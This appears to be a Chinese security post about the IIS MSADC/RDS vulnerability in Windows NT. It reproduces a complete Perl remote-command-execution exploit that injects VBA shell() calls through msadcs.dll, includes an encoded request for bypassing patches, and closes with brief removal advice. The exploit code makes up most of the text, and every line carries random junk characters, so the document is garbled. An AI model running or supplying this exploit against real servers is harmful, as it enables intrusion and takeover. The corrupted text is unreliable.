IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
qLh[B R ums*EKjs97 涉及程序：
E A} Vb(2 Microsoft NT server
YR}
P ; !JC!GS"M5 描述：
,.T k "\@ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
;H:+w\?8f$ )+xHv 详细：
v a
j 如果你没有时间读详细内容的话，就删除:
u*i[A\Y c:\Program Files\Common Files\System\Msadc\msadcs.dll
e# j kp' 有关的安全问题就没有了。
0?d}O j gm}[`GMU 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
.B|a.-oA4 ~*,e &I 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
8m poY.E4! 关于利用ODBC远程漏洞的描述，请参看:
n. \|NR'v :UdH}u!Ek http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm JK@"
& 1 ZK~i 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
K$(LiP http://www.microsoft.com/security/bulletins/MS99-025faq.asp / %:%la% k%S;N{Qh@ 这里不再论述。
v<wR`7xG o$FYCz n 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
9?~K"+-SI 'z.:
e+Q_ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
)]~;A c^x 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
\C(dWs ELWm>'Q#9 " ,&c"r4c #将下面这段保存为txt文件，然后: "perl -x 文件名"
HD& Ag UA i] hUq #!perl
+GqV9x 8 #
h d E? %A # MSADC/RDS 'usage' (aka exploit) script
37 M?m$BL #
| zaYIVE[ # by rain.forest.puppy
V\(p6:1(6K #
`aw5" ns^V # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
V;}6C&aP. # beta test and find errors!
iB=v
>8l% `LID*uD;_ use Socket; use Getopt::Std;
Hlg Q0qb getopts("e:vd:h:XR", \%args);
O% n =n3 t:h~p-&QB print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
82bOiN15 9 yE
if (!defined $args{h} && !defined $args{R}) {
NgXV|) L print qq~
Ea7LPHE# Usage: msadc.pl -h <host> { -d <delay> -X -v }
EhBYmc" & -h <host> = host you want to scan (ip or domain)
(Z72 3) -d <seconds> = delay between calls, default 1 second
xep!.k x -X = dump Index Server path table, if available
a#qC.,$A -v = verbose
/>i~No#Xm -e = external dictionary file for step 5
<RMr p@[ , Q5Z<\
Or a -R will resume a command session
1tNmiAu BVt)~HZ ~; exit;}
1ukCH\YgU eT|"6WJ:{ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
[H!8m7i; if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Lb>UraUvL if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
07?| "c. if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
%HNe"7gk $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
\D]H>i$ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
)Z2 l*fV gZ^NdDBO if (!defined $args{R}){ $ret = &has_msadc;
BP7&w d die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
#<\A[Po aNW!Y':*
print "Please type the NT commandline you want to run (cmd /c assumed):\n"
@%5$x]^ . "cmd /c ";
}gr6naz $in=<STDIN>; chomp $in;
> **7ck
$command="cmd /c " . $in ;
-0{"QhdE% )^C w if (defined $args{R}) {&load; exit;}
\2K _"5 h!"| Q"18 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
`XJU $ c &try_btcustmr;
@AgV 7# MMI7FlfY print "\nStep 2: Trying to make our own DSN...";
iA^GA8dn &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
7|"gMw/ tw`{\kWG print "\nStep 3: Trying known DSNs...";
XSu9C zx&I &known_dsn;
^@&RJa-kb wjr1 ?c print "\nStep 4: Trying known .mdbs...";
sK kk+-J4 &known_mdb;
TzCNY@y !H5r+%Oo| if (defined $args{e}){
$Y mD; print "\nStep 5: Trying dictionary of DSN names...";
vPV=K+1 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
`;@#yyj:_ )T=cd print "Sorry Charley...maybe next time?\n";
Qo!/n`1 9 exit;
,DHiM-v <Q4yN!6 ##############################################################################
U(.3[x azj:Hru&t# sub sendraw { # ripped and modded from whisker
xlqh,?'>W sleep($delay); # it's a DoS on the server! At least on mine...
X\I"%6$ my ($pstr)=@_;
u_C/Y[ik socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
gUo L8~ die("Socket problems\n");
6<h?%j( if(connect(S,pack "SnA4x8",2,80,$target)){
PLi [T4u select(S); $|=1;
A& $oiLc print $pstr; my @in=<S>;
3MR4yw5v select(STDOUT); close(S);
*E Z'S+wR return @in;
Z|FWQ8gZ4m } else { die("Can't connect...\n"); }}
p~T)Af<(
Ax=k0%M[& ##############################################################################
X0=#e54 l3sL!D1u sub make_header { # make the HTTP request
::\7s my $msadc=<<EOT
=%4vrY
` POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
6wzT X8 User-Agent: ACTIVEDATA
' NM$<<0 Host: $ip
y % X{[F Content-Length: $clen
n$* 'J9W~ Connection: Keep-Alive
k+au42:r `&.]>H)N* ADCClientVersion:01.06
/
M(A
kNy Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
pU4 B6KTW edt(Zzk@3- --!ADM!ROX!YOUR!WORLD!
!<wM?Q: Content-Type: application/x-varg
z@lUaMm:F Content-Length: $reqlen
DK/xHIv8- %)7HBj(*J EOT
&ACM:&Ob ; $msadc=~s/\n/\r\n/g;
KJ
Gh) return $msadc;}
:V>M{vd Yg5m=L is ##############################################################################
Rh7unJ @$R[Js%MuO sub make_req { # make the RDS request
"y_A xOH my ($switch, $p1, $p2)=@_;
C.r9)#G my $req=""; my $t1, $t2, $query, $dsn;
j P{LMmV >&0)d7Nu8m if ($switch==1){ # this is the btcustmr.mdb query
$z-zscco $query="Select * from Customers where City=" . make_shell();
Ou~|Q&f' $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
gDP\u<2! $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
g?qh }MK m>N elsif ($switch==2){ # this is general make table query
.JNU3%s $query="create table AZZ (B int, C varchar(10))";
6e1/h@p\7 $dsn="$p1";}
hadGF%> O6 u:+wuyu elsif ($switch==3){ # this is general exploit table query
"(uEcS2< $query="select * from AZZ where C=" . make_shell();
IfHB+H
$dsn="$p1";}
t_@xzt10y 4%Q8>mEvT elsif ($switch==4){ # attempt to hork file info from index server
X G
fLi $query="select path from scope()";
q' };.tv $dsn="Provider=MSIDXS;";}
0ad -4 S0V%JY;Gv elsif ($switch==5){ # bad query
>;S/$
$query="select";
m^d Kww $dsn="$p1";}
xU/Eu;m B;A^5~b $t1= make_unicode($query);
5gP#V
K $t2= make_unicode($dsn);
eW$G1h: $req = "\x02\x00\x03\x00";
krkRP%jy $req.= "\x08\x00" . pack ("S1", length($t1));
[gZd$9a $req.= "\x00\x00" . $t1 ;
^
q]BCOfJ( $req.= "\x08\x00" . pack ("S1", length($t2));
h>,yqiY4p $req.= "\x00\x00" . $t2 ;
vmI ]N $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
\ /C-e return $req;}
|
fAt[e _E ShAI6j ##############################################################################
q^ ],K' {6YLiQ*_ sub make_shell { # this makes the shell() statement
wy5vn?T@ return "'|shell(\"$command\")|'";}
l^x5m]Kt * iW>i^ ##############################################################################
MF/359r)Et [xT2c.2__J sub make_unicode { # quick little function to convert to unicode
T" Ph@I< my ($in)=@_; my $out;
{l= ! for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Q7O8']~n return $out;}
f/G
YDat ~ g$Pb[V ##############################################################################
"J(#|v0 T69'ta32V sub rdo_success { # checks for RDO return success (this is kludge)
}PGl8F ! my (@in) = @_; my $base=content_start(@in);
SS@F:5), if($in[$base]=~/multipart\/mixed/){
` INc Zr" return 1 if( $in[$base+10]=~/^\x09\x00/ );}
)P\ Vd # return 0;}
B g LK} p^ o
>bf7+D ##############################################################################
E< ;C@B (v*$ Ex F sub make_dsn { # this makes a DSN for us
C.dN)?O my @drives=("c","d","e","f");
*G ot print "\nMaking DSN: ";
/ C29^ P foreach $drive (@drives) {
s
}q6@I print "$drive: ";
R?g
qPi- my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
3 X,9K23T "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
3e$&rpv . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
RWf4Wh?d $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
:%q J AjR& return 0 if $2 eq "404"; # not found/doesn't exist
+hg|!SS@5 if($2 eq "200") {
g]O"l?xx1D foreach $line (@results) {
HErTFY+vC return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
%76N$`{u } return 0;}
SLRQ3 <0W_ ; 1K[N0xE ##############################################################################
D t\F]\6sd DPI iGRw sub verify_exists {
|) QE+|?P my ($page)=@_;
qCOe,$\1/ my @results=sendraw("GET $page HTTP/1.0\n\n");
p%5RE%u return $results[0];}
_O ~DJ" !u )ve h3x ##############################################################################
- xt j:UO z>+@pj
sub try_btcustmr {
RajzH2j+> my @drives=("c","d","e","f");
g9I2 e<;o my @dirs=("winnt","winnt35","winnt351","win","windows");
G^J|_!.a rmutw~nHD foreach $dir (@dirs) {
O7b Tu<h= print "$dir -> "; # fun status so you can see progress
& D4'hL 3 foreach $drive (@drives) {
XJTY91~R print "$drive: "; # ditto
\gy39xoW ( $reqlen=length( make_req(1,$drive,$dir) ) - 28;
dN
J2pfvv $reqlenlen=length( "$reqlen" );
Ul7)CT2: $clen= 206 + $reqlenlen + $reqlen;
&^^zm9{ K"-.K]O8E% my @results=sendraw(make_header() . make_req(1,$drive,$dir));
g|8G!7O if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
`qp[x%7^ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
0t ?: 4v cUHa|4 ##############################################################################
_!kL7qJ" ,
}O>,AU sub odbc_error {
1foy.3g- my (@in)=@_; my $base;
V~`
?J6 my $base = content_start(@in);
lO>w|=< if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
LC)-aw> - $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}N!I|<"/ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
s,O: l0 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
u {maE , return $in[$base+4].$in[$base+5].$in[$base+6];}
gtWJR print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
,[ &@? print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
<eK F $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
p me5frM | > f,G3Ay ##############################################################################
l -us j%\ 5%j
!SVW sub verbose {
7(AB5.O my ($in)=@_;
:786Z,') return if !$verbose;
| u{NM1, print STDOUT "\n$in\n";}
&u0JzK Ad DlS~\? ##############################################################################
6Pc3 ;X~ fvg jqiT sub save {
vfPL;__{Y] my ($p1, $p2, $p3, $p4)=@_;
[=imF^=3Vb open(OUT, ">rds.save") || print "Problem saving parameters...\n";
E4~k)4R print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
D9^.Eg8W close OUT;}
"b 5:6\ /iFtW#K+ ##############################################################################
[`^5Zb N 0h* | sub load {
$
\0)~c y my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
gSS2)Sd} open(IN,"<rds.save") || die("Couldn't open rds.save\n");
/ghXI"ChI @p=<IN>; close(IN);
%7WGodlXW $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
ew8 f7S[ $target= inet_aton($ip) || die("inet_aton problems");
|9c J O@ print "Resuming to $ip ...";
^"N]i`dIF $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
p\T.l <p if($p[1]==1) {
|c,, *^ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
uBp"YX9rx $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
f/Cf2
K my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
d*;wHA,}F if (rdo_success(@results)){print "Success!\n";}
V4kt&6 1 else { print "failed\n"; verbose(odbc_error(@results));}}
P 5/\*~} elsif ($p[1]==3){
= rDoXm if(run_query("$p[3]")){
HAJK%zLc print "Success!\n";} else { print "failed\n"; }}
jinDKJ,n; elsif ($p[1]==4){
w+c%Y\: if(run_query($drvst . "$p[3]")){
NJ\ID=3l print "Success!\n"; } else { print "failed\n"; }}
$< &N# exit;}
` rEu8u >;I$& ##############################################################################
RQ}0f5~t 8{QN$Qkn sub create_table {
.URCu B\{ my ($in)=@_;
}U-h^x' $reqlen=length( make_req(2,$in,"") ) - 28;
aYc*v5Q N3 $reqlenlen=length( "$reqlen" );
i#c1 ZC $clen= 206 + $reqlenlen + $reqlen;
oNW5/W2e; my @results=sendraw(make_header() . make_req(2,$in,""));
r o:B[X E return 1 if rdo_success(@results);
i}d^a 28 my $temp= odbc_error(@results); verbose($temp);
op!8\rM<e return 1 if $temp=~/Table 'AZZ' already exists/;
B.)!zv\{ return 0;}
l0hcNEj{W DbDi n ##############################################################################
1n HQ)od |^: A,%> sub known_dsn {
`r?xo7 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Y| %s =0M my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"'Bx<FA "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
QnHb*4< "banner", "banners", "ads", "ADCDemo", "ADCTest");
BCy#
Td `x b\ ) foreach $dSn (@dsns) {
PHZ+u@AA6@ print ".";
/K!&4mK next if (!is_access("DSN=$dSn"));
U7GgGMw if(create_table("DSN=$dSn")){
!h\>[ O print "$dSn successful\n";
%9
k Ol if(run_query("DSN=$dSn")){
9
GEMmo3 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
O{YT6&.S0 print "Something's borked. Use verbose next time\n";}}} print "\n";}
W@"s~I6 OFc L h ##############################################################################
$hND!T+ ; LmCr[9/ sub is_access {
q.xt%`@ aA my ($in)=@_;
k9]M=eO $reqlen=length( make_req(5,$in,"") ) - 28;
wlSl ~A/s $reqlenlen=length( "$reqlen" );
/=o~7y $clen= 206 + $reqlenlen + $reqlen;
,gag_o{*a my @results=sendraw(make_header() . make_req(5,$in,""));
x?5D>M/Y my $temp= odbc_error(@results);
M`_RkDmy< verbose($temp); return 1 if ($temp=~/Microsoft Access/);
{0~ Sj% Ze return 0;}
D7v-+jypp )1E[CIaXK ##############################################################################
~f:y^`+Q[ ,q[aV 6kO sub run_query {
q oA ?
my ($in)=@_;
abs\Ku9 $reqlen=length( make_req(3,$in,"") ) - 28;
| DB7o+4 $reqlenlen=length( "$reqlen" );
no~Yet+<" $clen= 206 + $reqlenlen + $reqlen;
}MW7,F my @results=sendraw(make_header() . make_req(3,$in,""));
{DP% =4 return 1 if rdo_success(@results);
|<:Owd= my $temp= odbc_error(@results); verbose($temp);
O{P@fv%~(o return 0;}
F},#%_4 1u9 *)w ##############################################################################
~OdE!! $ G\IzK sub known_mdb {
QYS 1.k my @drives=("c","d","e","f","g");
q:iB}ch5R my @dirs=("winnt","winnt35","winnt351","win","windows");
CO%o.j=1 my $dir, $drive, $mdb;
G6*P]< my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
@^O+ulLJ,] %1\MW+ # this is sparse, because I don't know of many
^0x0 r Y my @sysmdbs=( "\\catroot\\icatalog.mdb",
F\K&$5J{p "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
0`=>/Wr39 "\\system32\\certmdb.mdb",
cN{(XmX5 n "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Xyz w.%4c w# iezo. 0 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
gG?sLgL: "\\cfusion\\cfapps\\forums\\forums_.mdb",
47/14rY
2 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
`l%)0)T "\\cfusion\\cfapps\\security\\realm_.mdb",
qD] &&"B "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Z?@oe-mz "\\cfusion\\database\\cfexamples.mdb",
2:8p>^g= "\\cfusion\\database\\cfsnippets.mdb",
vq? aFX9F "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
D#8uj=/% "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
RE K(^1
h "\\cfusion\\brighttiger\\database\\cleam.mdb",
e H0^d5bH "\\cfusion\\database\\smpolicy.mdb",
WP}NHz4H "\\cfusion\\database\cypress.mdb",
@ ,9cpaL3 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
K}OY!| "\\website\\cgi-win\\dbsample.mdb",
&"R`:` XF "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
<3SO1@? "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
.)Wqo7/Gx ); #these are just
4?u<i=i foreach $drive (@drives) {
9w"kxAN foreach $dir (@dirs){
Szb# :C foreach $mdb (@sysmdbs) {
T F[8r[93 print ".";
F\ Z|JCA if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
\LEU reTn print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
flXDGoW if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
O8mmS! print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
0W6j F5T } else { print "Something's borked. Use verbose next time\n"; }}}}}
.7`c(9< ^+MG"|)u~ foreach $drive (@drives) {
K|ZB!oq foreach $mdb (@mdbs) {
UG,< \k& print ".";
X:Iam# H if(create_table($drv . $drive . $dir . $mdb)){
/>13?o# print "\n" . $drive . $dir . $mdb . " successful\n";
[" PRxl if(run_query($drv . $drive . $dir . $mdb)){
UVUo Xv)N print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
{;2Gl $\r } else { print "Something's borked. Use verbose next time\n"; }}}}
#Ave r]eK }
kp=wz0# >OotgJnhC ##############################################################################
-|WQs'%O u]$e@Vw. sub hork_idx {
fgW>~m.W print "\nAttempting to dump Index Server tables...\n";
g~v>{F+u print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
<fm<UO,% $reqlen=length( make_req(4,"","") ) - 28;
ZDl6 F` $reqlenlen=length( "$reqlen" );
SKdh !*G $clen= 206 + $reqlenlen + $reqlen;
M\!z='Fi my @results=sendraw2(make_header() . make_req(4,"",""));
')82a49eA if (rdo_success(@results)){
#[
TOe my $max=@results; my $c; my %d;
T[\?fSP for($c=19; $c<$max; $c++){
of<(4< T $results[$c]=~s/\x00//g;
H]<@\g*l@P $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
6xT" j )h $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
av:9kP Km $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
6)# =@i`
\ $d{"$1$2"}="";}
7@u:F?c foreach $c (keys %d){ print "$c\n"; }
bL 9XQ:$C } else {print "Index server doesn't seem to be installed.\n"; }}
KwxO%/-}S Ra-%,cS ##############################################################################
ZGgM- O1 ;UPI%DnE] sub dsn_dict {
T~G~M/ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
0NFYFd-50 while(<IN>){
haoQr)S $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
}\oy%]_mY next if (!is_access("DSN=$dSn"));
LmjzH@3 if(create_table("DSN=$dSn")){
]R%+ print "$dSn successful\n";
NB#- W4NA if(run_query("DSN=$dSn")){
;%V)lP "o print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_gn`Y(c$% print "Something's borked. Use verbose next time\n";}}}
d>k"#| print "\n"; close(IN);}
T^1]|P >21f%Z ##############################################################################
eU ZvJTE <x O"
E%t sub sendraw2 { # ripped and modded from whisker
M_ii sleep($delay); # it's a DoS on the server! At least on mine...
E5`KUMZkq my ($pstr)=@_;
r{
}&* Y socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
d7i 0'R die("Socket problems\n");
"inXHxqu/J if(connect(S,pack "SnA4x8",2,80,$target)){
m0 [JiwPI print "Connected. Getting data";
(N/KP+J$n open(OUT,">raw.out"); my @in;
T$vDw|KSVP select(S); $|=1; print $pstr;
P uodsd while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
%[ J|n~8_Z close(OUT); select(STDOUT); close(S); return @in;
vC |V8ea } else { die("Can't connect...\n"); }}
fXfO9{E {6Qd,CX ##############################################################################
\`N<0COP (n
{,R sub content_start { # this will take in the server headers
Y2 QX9RN my (@in)=@_; my $c;
^f_4w|u,+ for ($c=1;$c<500;$c++) {
*wNO3tP't if($in[$c] =~/^\x0d\x0a/){
jTE~^ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
aA3KJa else { return $c+1; }}}
PH6NU&H return -1;} # it should never get here actually
5A`T}~"X % >}{SS ##############################################################################
<o:|0=Sw b lq*{2M{[ sub funky {
^!yJ;'H\ my (@in)=@_; my $error=odbc_error(@in);
8-uRn38 if($error=~/ADO could not find the specified provider/){
B kh1VAT print "\nServer returned an ADO miscofiguration message\nAborting.\n";
vz Puk|q3 exit;}
y>jP]LR4 if($error=~/A Handler is required/){
f'Cx % print "\nServer has custom handler filters (they most likely are patched)\n";
3S h#7"K3 exit;}
%K7wScz7 if($error=~/specified Handler has denied Access/){
o|O|e9m( print "\nServer has custom handler filters (they most likely are patched)\n";
iciw 54;4 exit;}}
{-Q=Y DR qOi"3_ ##############################################################################
ux= 0N]lc #V#sg}IhM? sub has_msadc {
zd-qQ.j0 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
F* h\ #? my $base=content_start(@results);
A[6D40o return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
j$mCU? return 0;}
.sE5 QRVc {IR -g,B ########################
V9cKl[ Pt^SlX^MM [zMnlO 解决方案：
1Bhd - 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
#yi&-9B 2、移除web 目录: /msadc
